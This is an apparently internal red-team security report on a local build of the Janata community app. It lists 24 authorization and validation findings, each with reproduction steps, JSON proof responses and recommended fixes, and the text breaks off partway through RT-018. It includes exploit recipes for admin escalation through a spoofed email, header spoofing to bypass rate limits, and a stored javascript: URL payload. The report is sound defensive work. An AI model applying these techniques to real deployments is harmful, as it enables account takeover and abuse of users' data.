

Project Janatha Security Red-Team Report

Local working tree assessment with screenshot-backed exploit proof

Generated: 2026-06-26T00:17:45

Scope: local v2 working tree, local Wrangler D1, local API <http://127.0.0.1:8787/api>, local web <http://localhost:8081>.

No production, preview, or third-party systems were attacked or modified. Tokens are redacted in screenshots.

Severity	Count
Critical	3
High	10
Medium	10
Low	1

Reproduction

Start the local backend and frontend, then run:

```
QA_PASSWORD='PreviewTest2026!' node qa-artifacts/security-redteam-2026-06-26/run-deep-redteam.mjs
```

Raw evidence files: [qa-artifacts/security-redteam-2026-06-26/deep-findings.json](#) and the PNG screenshots in the same directory.

Findings Summary

ID	Severity	CVSS	Finding
RT-001	Critical	9.8	Mutable profile email grants admin access
RT-002	Critical	9.1	Developer email bypass self-provisions admin-capable role
RT-003	High	7.5	Inactive accounts are not blocked by authentication middleware
RT-004	High	7.4	Authentication rate limits trust spoofable client IP headers
RT-005	Medium	5.3	Unauthenticated user-existence endpoint enumerates accounts
RT-006	Low	3.1	Internal exception messages are returned to clients
RT-007	High	7.1	Users can set arbitrary or duplicate email addresses without verification
RT-008	Critical	9.0	Self-service centerID update grants access to private center boards
RT-009	High	8.0	Unverified self-assigned users can post to center boards
RT-010	High	7.5	Unverified users can post to the signed-in public feed
RT-011	Medium	6.4	Users can report posts from boards they cannot access
RT-012	Medium	6.5	Any authenticated user can create center records
RT-013	High	8.1	Any member can edit legacy events with no creator
RT-014	High	7.6	Sevaks can create official events for centers they do not belong to
RT-015	High	8.0	Event creation accepts javascript: URLs used by frontend open-link actions
RT-016	High	8.0	Event update accepts javascript: URLs even when create validation should apply
RT-017	Medium	5.5	Event update accepts impossible latitude and longitude values
RT-018	Medium	6.5	Downgraded event creators retain attendee roster PII access
RT-019	High	7.2	Guest RSVP can be spammed to inflate attendee counts by spoofing IP headers
RT-020	Medium	6.8	Admin user verification accepts unbounded privilege levels
RT-021	Medium	6.5	Password reset requests can be spammed and invalidate prior codes
RT-022	Medium	5.9	Email verification sends can be spammed by spoofing IP headers
RT-023	Medium	6.1	Admin event update endpoint lacks URL validation
RT-024	Medium	6.8	Legacy verifyUser endpoint accepts arbitrary privilege levels

Dependency Audit Highlights

These are package advisories from npm audit and were not independently exploited in the app flow.

Package	Severity	Advisory
shell-quote	CRITICAL	shell-quote quote() does not escape newlines in object .op values
ws	HIGH	ws: Uninitialized memory disclosure; ws: Memory exhaustion DoS from tiny fragments and data chunks

RT-001 - Critical - CVSS 9.8 - Mutable profile email grants admin access

Affected: PUT /api/auth/update-profile, adminMiddleware

CWE: CWE-266 Incorrect Privilege Assignment

Root Cause

isAdmin trusts mutable users.email and update-profile lets users change it.

Reproduction Steps

- Authenticate as any normal user.
- PUT /api/auth/update-profile with email set to chinmayajanata@gmail.com.
- Call any /api/admin/* endpoint with the same token.

Recommended Fix

Remove email-based admin checks or require verified immutable admin identity; block user-controlled email role changes.

RT-001 Screenshot Evidence

RT-001: Mutable profile email grants admin access

Local red-team proof. Tokens redacted. Generated 2026-06-26T07:12:42.115Z.

Before exploit

```
{
  "status": 403,
  "ok": false,
  "body": {
    "message": "Admin access required"
  }
}
```

Email update exploit

```
{
  "status": 200,
  "ok": true,
  "body": {
    "message": "Profile updated",
    "user": {
      "id": "311da866-8d5c-42ae-bdf9-4c3a00240edf",
      "username": "rt26.attacker@janata.local",
      "email": "chinmayajanata@gmail.com",
      "firstName": "EmailSpoofed",
      "lastName": "",
      "dateOfBirth": null,
      "phoneNumber": null,
      "profileImage": null,
      "bio": null,
      "centerID": null,
      "points": 0,
      "isVerified": true,
      "verificationLevel": 45,
      "isActive": false,
      "profileComplete": false,
      "interests": null,
      "school": null,
      "work": null,
      "region": null,
      "lookingFor": null,
      "isSuspended": false,
      "suspendedAt": null,
      "suspendedUntil": null,
      "suspendedReason": null,
      "createdAt": "2026-06-26T07:12:39.576Z",
      "updatedAt": "2026-06-26T07:12:42.087Z"
    }
  }
}
```

After exploit

```
{
  "status": 200,
  "ok": true,
  "body": {
    "data": [
      {
        "id": "d362e857-5c33-4211-9c12-db0cea5936cb",
        "username": "rt26.dup2@janata.local",
        "email": "rt26.dup2@janata.local",
        "firstName": "",
        "lastName": "",
        "dateOfBirth": null,
        "phoneNumber": null,
        "profileImage": null,
        "bio": null,
        "centerID": null,
        "points": 0,
        "isVerified": true,
        "verificationLevel": 45,
        "isActive": false,
        "profileComplete": false
      }
    ]
  }
}
```

```

    "profileComplete": false,
    "interests": null,
    "school": null,
    "work": null,
    "region": null,
    "lookingFor": null,
    "isSuspended": false,
    "suspendedAt": null,
    "suspendedUntil": null,
    "suspendedReason": null,
    "createdAt": "2026-06-26T07:12:39.931Z",
    "updatedAt": "2026-06-26T07:12:39.931Z"
  },
  {
    "id": "8d180c49-2766-421f-b2e2-e43bfc6df8ec",
    "username": "rt26.dup1@janata.local",
    "email": "rt26.dup1@janata.local",
    "firstName": "",
    "lastName": "",
    "dateOfBirth": null,
    "phoneNumber": null,
    "profileImage": null,
    "bio": null,
    "centerID": null,
    "points": 0,
    "isVerified": true,
    "verificationLevel": 45,
    "isActive": false,
    "profileComplete": false,
    "interests": null,
    "school": null,
    "work": null,
    "region": null,
    "lookingFor": null,
    "isSuspended": false,
    "suspendedAt": null,
    "suspendedUntil": null,
    "suspendedReason": null,
    "createdAt": "2026-06-26T07:12:39.896Z",
    "updatedAt": "2026-06-26T07:12:39.896Z"
  }
],
"total": 15,
"limit": 2,
"offset": 0
}
}

```

RT-001 Additional UI Proof - Admin Dashboard Loaded

Step 1 of 4

Welcome to Janata!

Enter your name to get started with your journey.

First Name

Last Name

Continue

RT-002 - Critical - CVSS 9.1 - Developer email bypass self-provisions admin-capable role

Affected: POST /api/auth/register

CWE: CWE-287 Improper Authentication

Root Cause

Public registration grants BRAHMACHARI based only on email string membership in DEVELOPER_EMAILS.

Reproduction Steps

- Register a listed developer email without an invite.
- Log in.
- Call /api/admin/users.

Recommended Fix

Environment-gate or remove developer bypass; require email ownership and server-side provisioning.

RT-002 Screenshot Evidence

RT-002: Developer email bypass self-provisions admin-capable role

Local red-team proof. Tokens redacted. Generated 2026-06-26T07:12:48.018Z.

Registration without invite

```
{
  "status": 201,
  "ok": true,
  "body": {
    "message": "User registered successfully",
    "username": "sahanavasairamesh@gmail.com"
  }
}
```

Resulting role

```
{
  "status": 200,
  "ok": true,
  "body": {
    "message": "Token is valid",
    "user": {
      "id": "5511b78c-f22c-4c76-95f5-1c7c168a618b",
      "username": "sahanavasairamesh@gmail.com",
      "email": "sahanavasairamesh@gmail.com",
      "firstName": "",
      "lastName": "",
      "dateOfBirth": null,
      "phoneNumber": null,
      "profileImage": null,
      "bio": null,
      "centerID": null,
      "points": 0,
      "isVerified": true,
      "verificationLevel": 108,
      "isActive": false,
      "profileComplete": false,
      "interests": null,
      "school": null,
      "work": null,
      "region": null,
      "lookingFor": null,
      "isSuspended": false,
      "suspendedAt": null,
      "suspendedUntil": null,
      "suspendedReason": null,
      "createdAt": "2026-06-26T07:12:47.961Z",
      "updatedAt": "2026-06-26T07:12:47.961Z"
    }
  }
}
```

Admin endpoint access

```
{
  "status": 200,
  "ok": true,
  "body": {
    "data": [
      {
        "id": "5511b78c-f22c-4c76-95f5-1c7c168a618b",
        "username": "sahanavasairamesh@gmail.com",
        "email": "sahanavasairamesh@gmail.com",
        "firstName": "",
        "lastName": "",
        "dateOfBirth": null,
        "phoneNumber": null,
        "profileImage": null,
        "bio": null,
        "centerID": null,
        "points": 0,
        "isVerified": true,
        "verificationLevel": 108,
        "isActive": false
      }
    ]
  }
}
```

```
    "isActive": false,  
    "profileComplete": false,  
    "interests": null,  
    "school": null,  
    "work": null,  
    "region": null,  
    "lookingFor": null,  
    "isSuspended": false,  
    "suspendedAt": null,  
    "suspendedUntil": null,  
    "suspendedReason": null,  
    "createdAt": "2026-06-26T07:12:47.961Z",  
    "updatedAt": "2026-06-26T07:12:47.961Z"  
  },  
  "total": 16,  
  "limit": 1,  
  "offset": 0  
}
```

RT-003 - High - CVSS 7.5 - Inactive accounts are not blocked by authentication middleware

Affected: authMiddleware, POST /api/auth/authenticate

CWE: CWE-285 Improper Authorization

Root Cause

authMiddleware checks token validity but never enforces users.is_active.

Reproduction Steps

- Set a user is_active=0.
- Authenticate as that user.
- Use an authenticated endpoint.

Recommended Fix

Reject inactive users on login and every authenticated request.

RT-003 Screenshot Evidence

RT-003: Inactive accounts are not blocked by authentication middleware

Local red-team proof. Tokens redacted. Generated 2026-06-26T07:12:48.260Z.

Inactive user verifies successfully

```
{
  "status": 200,
  "ok": true,
  "body": {
    "message": "Token is valid",
    "user": {
      "id": "76ad104c-f151-4ad7-ac16-3f64a98a5564",
      "username": "rt26.inactive@janata.local",
      "email": "rt26.inactive@janata.local",
      "firstName": "Inactive",
      "lastName": "QA",
      "dateOfBirth": null,
      "phoneNumber": null,
      "profileImage": null,
      "bio": null,
      "centerID": "c0000001-0000-0000-0000-000000000099",
      "points": 0,
      "isVerified": true,
      "verificationLevel": 45,
      "isActive": false,
      "profileComplete": true,
      "interests": null,
      "school": null,
      "work": null,
      "region": null,
      "lookingFor": null,
      "isSuspended": false,
      "suspendedAt": null,
      "suspendedUntil": null,
      "suspendedReason": null,
      "createdAt": "2026-06-26T07:12:39.783Z",
      "updatedAt": "2026-06-26T07:12:39.783Z"
    }
  }
}
```

Inactive user can read authenticated feed

```
{
  "status": 200,
  "ok": true,
  "body": {
    "posts": []
  }
}
```

RT-004 - High - CVSS 7.4 - Authentication rate limits trust spoofable client IP headers

Affected: rateLimit middleware on auth endpoints

CWE: CWE-348 Use of Less Trusted Source

Root Cause

rateLimit accepts CF-Connecting-IP/X-Forwarded-For request headers directly.

Reproduction Steps

- Send failed login attempts with one X-Forwarded-For value.
- Repeat with a new X-Forwarded-For value per request.

Recommended Fix

Use trusted platform client IP metadata only; strip/ignore client-supplied forwarding headers.

RT-004 Screenshot Evidence

RT-004: Authentication rate limits trust spoofable client IP headers

Local red-team proof. Tokens redacted. Generated 2026-06-26T07:12:48.593Z.

Same spoofed IP hits 429

```
[
  401,
  401,
  401,
  401,
  401,
  429,
]
```

Varied spoofed IP bypasses limiter

```
[
  401,
  401,
  401,
  401,
  401,
  401,
  401,
  401
]
```

RT-005 - Medium - CVSS 5.3 - Unauthenticated user-existence endpoint enumerates accounts

Affected: POST /api/userExistence

CWE: CWE-203 Observable Discrepancy

Root Cause

Endpoint returns exact account existence without auth.

Reproduction Steps

- POST a known username.
- POST a random username.
- Compare existence booleans.

Recommended Fix

Remove endpoint or normalize responses and move checks behind flow-specific throttling.

RT-005 Screenshot Evidence

RT-005: Unauthenticated user-existence endpoint enumerates accounts

Local red-team proof. Tokens redacted. Generated 2026-06-26T07:12:48.750Z.

Known account

```
{
  "status": 200,
  "ok": true,
  "body": {
    "existence": true
  }
}
```

Unknown account

```
{
  "status": 200,
  "ok": true,
  "body": {
    "existence": false
  }
}
```


RT-006 - Low - CVSS 3.1 - Internal exception messages are returned to clients

Affected: global error handler

CWE: CWE-209 Information Exposure Through Error Message

Root Cause

app.onError returns errorMessage to the client.

Reproduction Steps

- Send malformed JSON to /api/auth/register.
- Observe internal parser message in response body.

Recommended Fix

Return generic errors externally; log details server-side only.

RT-006 Screenshot Evidence

RT-006: Internal exception messages are returned to clients

Local red-team proof. Tokens redacted. Generated 2026-06-26T07:12:48.899Z.

Malformed JSON response

```
{
  "status": 500,
  "ok": false,
  "body": {
    "message": "Internal server error",
    "error": "Unexpected end of JSON input"
  }
}
```

RT-007 - High - CVSS 7.1 - Users can set arbitrary or duplicate email addresses without verification

Affected: PUT /api/auth/update-profile

CWE: CWE-287 Improper Authentication

Root Cause

email is mutable, unverified, and not unique.

Reproduction Steps

- Authenticate as user A.
- Set email to user B username/email.
- Query users with that email.

Recommended Fix

Use a verified email-change workflow and enforce unique verified email addresses.

RT-007 Screenshot Evidence

RT-007: Users can set arbitrary or duplicate email addresses without verification

Local red-team proof. Tokens redacted. Generated 2026-06-26T07:12:50.517Z.

Email update response

```
{
  "status": 200,
  "ok": true,
  "body": {
    "message": "Profile updated",
    "user": {
      "id": "450187af-d6c5-4c0e-a819-5dea372ae27b",
      "username": "rt26.membera@janata.local",
      "email": "rt26.target@janata.local",
      "firstName": "Member",
      "lastName": "A",
      "dateOfBirth": null,
      "phoneNumber": null,
      "profileImage": null,
      "bio": null,
      "centerID": "c0000001-0000-0000-0000-000000000099",
      "points": 0,
      "isVerified": true,
      "verificationLevel": 45,
      "isActive": true,
      "profileComplete": true,
      "interests": null,
      "school": null,
      "work": null,
      "region": null,
      "lookingFor": null,
      "isSuspended": false,
      "suspendedAt": null,
      "suspendedUntil": null,
      "suspendedReason": null,
      "createdAt": "2026-06-26T07:12:39.620Z",
      "updatedAt": "2026-06-26T07:12:49.043Z"
    }
  }
}
```

Duplicate email rows

```
[
  {
    "username": "rt26.membera@janata.local",
    "email": "rt26.target@janata.local"
  },
  {
    "username": "rt26.target@janata.local",
    "email": "rt26.target@janata.local"
  }
]
```

RT-008 - Critical - CVSS 9.0 - Self-service centerID update grants access to private center boards

Affected: PUT /api/auth/update-profile, GET /api/boards/center/:id

CWE: CWE-639 Authorization Bypass Through User-Controlled Key

Root Cause

Board access trusts mutable users.center_id.

Reproduction Steps

- Create/locate a center-board post in center B.
- As user without center B access, GET board and see 403.
- Set own centerID to center B.
- GET board again and see posts.

Recommended Fix

Make center membership server-controlled; require admin/sevak approval or membership table.

RT-008 Screenshot Evidence

RT-008: Self-service centerID update grants access to private center boards

Local red-team proof. Tokens redacted. Generated 2026-06-26T07:12:50.793Z.

Private post created by center B member

```
{
  "status": 201,
  "ok": true,
  "body": {
    "post": {
      "id": "7edb8de8-bbca-42ce-91da-90b5faf29b9d",
      "boardId": "b71c2659-9dbd-4957-a4c6-40d70e3018f9",
      "visibility": "board",
      "body": "Private center B board proof post",
      "imageUrl": null,
      "createdAt": "2026-06-26T07:12:50.715Z",
      "updatedAt": "2026-06-26T07:12:50.715Z",
      "deletedAt": null,
      "pinnedAt": null,
      "pinnedBy": null,
      "author": {
        "id": "aa6ee3b8-3fa5-4bee-a691-51c23a13d489",
        "firstName": "Member",
        "lastName": "B",
        "profileImage": null,
        "centerID": "c0000001-0000-0000-0000-000000000048",
        "verificationLevel": 45,
        "isVerified": true
      },
      "reactions": [],
      "replyCount": 0
    }
  }
}
```

Before center self-assignment

```
{
  "status": 403,
  "ok": false,
  "body": {
    "message": "You do not have access to this center board"
  }
}
```

Self-assignment response

```
{
  "status": 200,
  "ok": true,
  "body": {
    "message": "Profile updated",
    "user": {
      "id": "bf77953a-54ec-4de9-aeed-b1387631f0e4",
      "username": "rt26.unverified@janata.local",
      "email": "rt26.unverified@janata.local",
      "firstName": "Unverified",
      "lastName": "QA",
      "dateOfBirth": null,
      "phoneNumber": null,
      "profileImage": null,
      "bio": null,
      "centerID": "c0000001-0000-0000-0000-000000000048",
      "points": 0,
      "isVerified": false,
      "verificationLevel": 30,
      "isActive": true,
      "profileComplete": true,
      "interests": null,
      "school": null,
      "work": null,
      "region": null,
      "lookingFor": null,
      "isSuspended": false
    }
  }
}
```

```
    "isSuspended": false,  
    "suspendedAt": null,  
    "suspendedUntil": null,  
    "suspendedReason": null,  
    "createdAt": "2026-06-26T07:12:39.704Z",  
    "updatedAt": "2026-06-26T07:12:50.755Z"  
  }  
}  
}
```

After center self-assignment

```
{  
  "status": 200,  
  "ok": true,  
  "body": {  
    "board": {  
      "id": "b71c2659-9dbd-4957-a4c6-40d70e3018f9",  
      "type": "center",  
      "parentId": "c0000001-0000-0000-0000-000000000048",  
      "createdAt": "2026-06-26T07:12:50.709Z"  
    },  
    "posts": [  
      {  
        "id": "7edb8de8-bbca-42ce-91da-90b5faf29bfd",  
        "boardId": "b71c2659-9dbd-4957-a4c6-40d70e3018f9",  
        "visibility": "board",  
        "body": "Private center B board proof post",  
        "imageUrl": null,  
        "createdAt": "2026-06-26T07:12:50.715Z",  
        "updatedAt": "2026-06-26T07:12:50.715Z",  
        "deletedAt": null,  
        "pinnedAt": null,  
        "pinnedBy": null,  
        "author": {  
          "id": "a66ee3b8-3fa5-4bee-a691-51c23a13d489",  
          "firstName": "Member",  
          "lastName": "B",  
          "profileImage": null,  
          "centerId": "c0000001-0000-0000-0000-000000000048",  
          "verificationLevel": 45,  
          "isVerified": true  
        },  
        "reactions": [],  
        "replyCount": 0  
      }  
    ]  
  }  
}
```

RT-009 - High - CVSS 8.0 - Unverified self-assigned users can post to center boards

Affected: POST /api/boards/center/:id/posts

CWE: CWE-862 Missing Authorization

Root Cause

Posting gate checks only board access and suspension, not verified membership.

Reproduction Steps

- Use RT-008 to self-assign centerID.
- POST to /api/boards/center/:id/posts as unverified account.

Recommended Fix

Require verified membership and server-controlled center membership for board writes.

RT-009 Screenshot Evidence

RT-009: Unverified self-assigned users can post to center boards

Local red-team proof. Tokens redacted. Generated 2026-06-26T07:12:51.060Z.

Unverified center post response

```
{
  "status": 201,
  "ok": true,
  "body": {
    "post": {
      "id": "05a1a41c-de4a-4bb8-8c42-bb88ce67c582",
      "boardId": "b71c2659-9dbd-4957-a4c6-40d70e3018f9",
      "visibility": "board",
      "body": "Unverified self-assigned center post proof",
      "imageUrl": null,
      "createdAt": "2026-06-26T07:12:51.033Z",
      "updatedAt": "2026-06-26T07:12:51.033Z",
      "deletedAt": null,
      "pinnedAt": null,
      "pinnedBy": null,
      "author": {
        "id": "bf77953a-54ec-4de9-aead-b1387631f0e4",
        "firstName": "Unverified",
        "lastName": "QA",
        "profileImage": null,
        "centerID": "c0000001-0000-0000-0000-000000000048",
        "verificationLevel": 30,
        "isVerified": false
      },
      "reactions": [],
      "replyCount": 0
    }
  }
}
```

RT-010 - High - CVSS 7.5 - Unverified users can post to the signed-in public feed

Affected: POST /api/feed/public

CWE: CWE-862 Missing Authorization

Root Cause

Public feed posting does not require NORMAL_USER verification.

Reproduction Steps

- Authenticate as verificationLevel 30 user.
- POST /api/feed/public.

Recommended Fix

Gate public feed writes to verified, active, unsuspended members.

RT-010 Screenshot Evidence

RT-010: Unverified users can post to the signed-in public feed

Local red-team proof. Tokens redacted. Generated 2026-06-26T07:12:51.257Z.

Unverified public feed post

```
{
  "status": 201,
  "ok": true,
  "body": {
    "post": {
      "id": "08b3af9b-49fd-4bf1-9b78-0ac8427b1cce",
      "boardId": null,
      "visibility": "public_signed_in",
      "body": "Unverified public feed proof post",
      "imageUrl": null,
      "createdAt": "2026-06-26T07:12:51.232Z",
      "updatedAt": "2026-06-26T07:12:51.232Z",
      "deletedAt": null,
      "pinnedAt": null,
      "pinnedBy": null,
      "author": {
        "id": "bf77953a-54ec-4de9-aead-b1387631f0e4",
        "firstName": "Unverified",
        "lastName": "QA",
        "profileImage": null,
        "centerID": "c0000001-0000-0000-0000-000000000048",
        "verificationLevel": 30,
        "isVerified": false
      },
      "reactions": [],
      "replyCount": 0
    }
  }
}
```

RT-011 - Medium - CVSS 6.4 - Users can report posts from boards they cannot access

Affected: POST /api/boards/posts/:postId/report

CWE: CWE-862 Missing Authorization

Root Cause

Report route looks up the post but does not call verifyBoardAccess.

Reproduction Steps

- Get a post id from a center board the attacker cannot access.
- Verify board read returns 403.
- POST report for that post id and see 201.

Recommended Fix

Require the same read access for report submission.

RT-011 Screenshot Evidence

RT-011: Users can report posts from boards they cannot access

Local red-team proof. Tokens redacted. Generated 2026-06-26T07:12:51.447Z.

Attacker cannot read board

```
{
  "status": 403,
  "ok": false,
  "body": {
    "message": "You do not have access to this center board"
  }
}
```

Attacker can report hidden post

```
{
  "status": 201,
  "ok": true,
  "body": {
    "message": "Report submitted"
  }
}
```

RT-012 - Medium - CVSS 6.5 - Any authenticated user can create center records

Affected: POST /api/addCenter

CWE: CWE-862 Missing Authorization

Root Cause

Center creation is authentication-only.

Reproduction Steps

- Authenticate as normal member.
- POST /api/addCenter.
- Fetch the created center publicly.

Recommended Fix

Gate center creation to admins or store submissions in a moderation queue.

RT-012 Screenshot Evidence

RT-012: Any authenticated user can create center records

Local red-team proof. Tokens redacted. Generated 2026-06-26T07:12:51.596Z.

Create center as member

```
{
  "status": 200,
  "ok": true,
  "body": {
    "message": "Operation successful",
    "id": "e14e3f0d-13ce-4a4a-a9eb-fa4c972d26fa"
  }
}
```

Fetch created center

```
{
  "status": 200,
  "ok": true,
  "body": {
    "message": "Success",
    "center": {
      "centerID": "e14e3f0d-13ce-4a4a-a9eb-fa4c972d26fa",
      "name": "RT26 Rogue Center 1782457971570",
      "latitude": 37.3349,
      "longitude": -121.8881,
      "address": "Local red-team proof only",
      "website": null,
      "phone": null,
      "image": null,
      "acharya": null,
      "pointOfContact": null,
      "memberCount": 0,
      "isVerified": false,
      "createdAt": "2026-06-26T07:12:51.578Z",
      "updatedAt": "2026-06-26T07:12:51.578Z"
    }
  }
}
```

RT-013 - High - CVSS 8.1 - Any member can edit legacy events with no creator

Affected: POST /api/updateEvent

CWE: CWE-862 Missing Authorization

Root Cause

isEditable explicitly allows existing.created_by === null.

Reproduction Steps

- Find event with created_by NULL.
- POST /api/updateEvent as normal member.
- Fetch event and observe modified title.

Recommended Fix

Backfill owners or require admin for null-owner events.

RT-013 Screenshot Evidence

RT-013: Any member can edit legacy events with no creator

Local red-team proof. Tokens redacted. Generated 2026-06-26T07:12:54.746Z.

Legacy event selected

```
{
  "id": "e0000001-0000-0000-0000-000000000001",
  "title": "Bhagavad Gita Study"
}
```

Member edit response

```
{
  "status": 200,
  "ok": true,
  "body": {
    "message": "Event updated"
  }
}
```

Fetch modified event

```
{
  "status": 200,
  "ok": true,
  "body": {
    "message": "Success",
    "event": {
      "eventID": "e0000001-0000-0000-0000-000000000001",
      "title": "[RT26 proof] Bhagavad Gita Study",
      "description": "Weekly chapter-by-chapter discussion. All levels welcome.",
      "date": "2026-08-15",
      "endDate": null,
      "isRecurring": false,
      "latitude": 42.6765858,
      "longitude": -71.1508859,
      "address": "1 Union St, Andover, MA - 01810, US",
      "centerID": "c0000001-0000-0000-0000-000000000002",
      "tier": 0,
      "peopleAttending": 14,
      "pointOfContact": "Ramesh Ji",
      "image": "https://images.unsplash.com/photo-1481627834876-b7833e8f5570?w=1000&q=80",
      "category": 91,
      "createdBy": null,
      "externalUrl": null,
      "signupUrl": null,
      "allowJanataSignup": false,
      "isOfficial": true,
      "requiresVerified": false,
      "createdAt": "2026-06-26 06:26:14",
      "updatedAt": "2026-06-26T07:12:54.711Z"
    }
  }
}
```

Restore response

```
{
  "status": 200,
  "ok": true,
  "body": {
    "message": "Event updated"
  }
}
```

RT-014 - High - CVSS 7.6 - Sevaks can create official events for centers they do not belong to

Affected: POST /api/addEvent

CWE: CWE-863 Incorrect Authorization

Root Cause

Event creation checks role only, not center ownership/scope.

Reproduction Steps

- Set sevak center to center A.
- Create event with centerID for center B.
- Fetch event and observe center B plus official badge flag.

Recommended Fix

Require sevak/admin scope over the target center.

RT-014 Screenshot Evidence

RT-014: Sevaks can create official events for centers they do not belong to

Local red-team proof. Tokens redacted. Generated 2026-06-26T07:12:55.006Z.

Sevak center and target center

```
{
  "sevakCenter": {
    "id": "c0000001-0000-0000-0000-000000000009",
    "name": "Central Chinmaya Mission Trust"
  },
  "targetCenter": {
    "id": "c0000001-0000-0000-0000-000000000048",
    "name": "Chinmaya Amarnath"
  }
}
```

Create event response

```
{
  "status": 200,
  "ok": true,
  "body": {
    "id": "d740d547-9d6a-4bd8-b418-187e39db900d",
    "tier": 0
  }
}
```

Fetch event

```
{
  "status": 200,
  "ok": true,
  "body": {
    "message": "Success",
    "event": {
      "eventID": "d740d547-9d6a-4bd8-b418-187e39db900d",
      "title": "RT26 Cross Center Official Event",
      "description": "Local proof",
      "date": "2026-09-01",
      "endDate": null,
      "isRecurring": false,
      "latitude": 40,
      "longitude": -75,
      "address": "Cross-center proof",
      "centerID": "c0000001-0000-0000-0000-000000000048",
      "tier": 0,
      "peopleAttending": 0,
      "pointOfContact": null,
      "image": null,
      "category": 01,
      "createdBy": "1710ea71-e655-4f53-9f3e-76e6db59fd30",
      "externalUrl": null,
      "signupUrl": null,
      "allowJanataSignup": false,
      "isOfficial": true,
      "requiresVerified": false,
      "createdAt": "2026-06-26T07:12:54.962Z",
      "updatedAt": "2026-06-26T07:12:54.975Z"
    }
  }
}
```

RT-015 - High - CVSS 8.0 - Event creation accepts javascript: URLs used by frontend open-link actions

Affected: POST /api/addEvent, event detail Linking.openURL

CWE: CWE-79 Improper Neutralization of Input During Web Page Generation

Root Cause

validate.url only checks string length; frontend opens stored URLs.

Reproduction Steps

- Create event with signupUrl/externalUrl set to javascript:alert(...).
- Fetch event and observe stored URL.

Recommended Fix

Parse URLs and allow only https/http schemes, preferably https.

RT-015 Screenshot Evidence

RT-015: Event creation accepts javascript: URLs used by frontend open-link actions

Local red-team proof. Tokens redacted. Generated 2026-06-26T07:12:55.233Z.

Create event with javascript URL

```
{
  "status": 200,
  "ok": true,
  "body": {
    "id": "f3c8a1a0-e049-440a-be7d-ba1f01eb60ec",
    "tier": 0
  }
}
```

Fetches stored URLs

```
{
  "status": 200,
  "ok": true,
  "body": {
    "message": "Success",
    "event": {
      "eventID": "f3c8a1a0-e049-440a-be7d-ba1f01eb60ec",
      "title": "RT26 JavaScript URL Event",
      "description": "Local proof",
      "date": "2026-09-02",
      "endDate": null,
      "isRecurring": false,
      "latitude": 37,
      "longitude": -122,
      "address": "URL proof",
      "centerID": "c0000001-0000-0000-0000-000000000099",
      "tier": 0,
      "peopleAttending": 0,
      "pointOfContact": null,
      "image": null,
      "category": 91,
      "createdBy": "1710ea71-e655-4f53-9f3e-76e6db59fd30",
      "externalUrl": "javascript:alert('rt26')",
      "signupUrl": "javascript:alert('rt26')",
      "allowJanataSignup": false,
      "isOfficial": true,
      "requiresVerified": false,
      "createdAt": "2026-06-26T07:12:55.199Z",
      "updatedAt": "2026-06-26T07:12:55.210Z"
    }
  }
}
```

RT-016 - High - CVSS 8.0 - Event update accepts javascript: URLs even when create validation should apply

Affected: POST /api/updateEvent

CWE: CWE-20 Improper Input Validation

Root Cause

updateEvent does not validate URL fields.

Reproduction Steps

- As event creator, POST /api/updateEvent with javascript: URL fields.
- Fetch event and observe stored values.

Recommended Fix

Share strict event input schema between create and update.

RT-016 Screenshot Evidence

RT-016: Event update accepts javascript: URLs even when create validation should apply

Local red-team proof. Tokens redacted. Generated 2026-06-26T07:12:55.421Z.

Update event with javascript URL

```
{
  "status": 200,
  "ok": true,
  "body": {
    "message": "Event updated"
  }
}
```

Fetch event after update

```
{
  "status": 200,
  "ok": true,
  "body": {
    "message": "Success",
    "event": {
      "eventID": "d740d547-9d6a-4bd8-b418-187e39db900d",
      "title": "RT26 Cross Center Official Event",
      "description": "Local proof",
      "date": "2026-09-01",
      "endDate": null,
      "isRecurring": false,
      "latitude": 40,
      "longitude": -75,
      "address": "Cross-center proof",
      "centerID": "c0000001-0000-0000-0000-000000000048",
      "tier": 0,
      "peopleAttending": 0,
      "pointOfContact": null,
      "image": null,
      "category": 91,
      "createdBy": "1710ea71-e655-4f53-9f3e-76e6db59fd30",
      "externalUrl": "javascript:alert('rt26')",
      "signupUrl": "javascript:alert('rt26')",
      "allowJanataSignup": false,
      "isOfficial": true,
      "requiresVerified": false,
      "createdAt": "2026-06-26T07:12:54.962Z",
      "updatedAt": "2026-06-26T07:12:55.405Z"
    }
  }
}
```

RT-017 - Medium - CVSS 5.5 - Event update accepts impossible latitude and longitude values

Affected: POST /api/updateEvent

CWE: CWE-20 Improper Input Validation

Root Cause

updateEvent parses coordinate values without range checks.

Reproduction Steps

- As event creator, update latitude to 999 and longitude to -999.
- Fetch event and observe stored invalid coordinates.

Recommended Fix

Apply create-route coordinate validation to every update path.

RT-017 Screenshot Evidence

RT-017: Event update accepts impossible latitude and longitude values

Local red-team proof. Tokens redacted. Generated 2026-06-26T07:12:55.603Z.

Update impossible coordinates

```
{
  "status": 200,
  "ok": true,
  "body": {
    "message": "Event updated"
  }
}
```

Fetch event after update

```
{
  "status": 200,
  "ok": true,
  "body": {
    "message": "Success",
    "event": {
      "eventID": "d740d547-9d6a-4bd8-b418-187e39db900d",
      "title": "RT26 Cross Center Official Event",
      "description": "Local proof",
      "date": "2026-09-01",
      "endDate": null,
      "isRecurring": false,
      "latitude": 999,
      "longitude": -999,
      "address": "Cross-center proof",
      "centerID": "c0000001-0000-0000-0000-000000000048",
      "tier": 0,
      "peopleAttending": 0,
      "pointOfContact": null,
      "image": null,
      "category": 91,
      "createdBy": "1710ea71-e655-4f53-9f3e-76e6db59fd30",
      "externalUrl": "javascript:alert('rt26')",
      "signupUrl": "javascript:alert('rt26')",
      "allowJanataSignup": false,
      "isOfficial": true,
      "requiresVerified": false,
      "createdAt": "2026-06-26T07:12:54.962Z",
      "updatedAt": "2026-06-26T07:12:55.589Z"
    }
  }
}
```

RT-018 - Medium - CVSS 6.5 - Downgraded event creators retain attendee roster PII access

Affected: GET /api/events/:id/roster

CWE: CWE-863 Incorrect Authorization

Root Cause

Roster access checks created_by or admin only, not current coordinator role/scope.

Reproduction Steps

- Create event as sevak.
- Guest RSVP with email.
- Downgrade creator below sevak.
- GET roster as downgraded creator.

Recommended Fix

Require current event-management permission for roster access.

RT-018 Screenshot Evidence

RT-018: Downgraded event creators retain attendee roster PII access

Local red-team proof. Tokens redacted. Generated 2026-06-26T07:12:58.817Z.

Event and guest RSVP

```
{
  "rosterEvent": {
    "status": 200,
    "ok": true,
    "body": {
      "id": "45f28020-a621-4e51-a131-70ea28cb3d9a",
      "tier": 0
    }
  },
  "guestRsvp": {
    "status": 200,
    "ok": true,
    "body": {
      "message": "RSVP recorded",
      "alreadyRsvped": false
    }
  }
}
```

Roster after creator downgrade

```
{
  "status": 200,
  "ok": true,
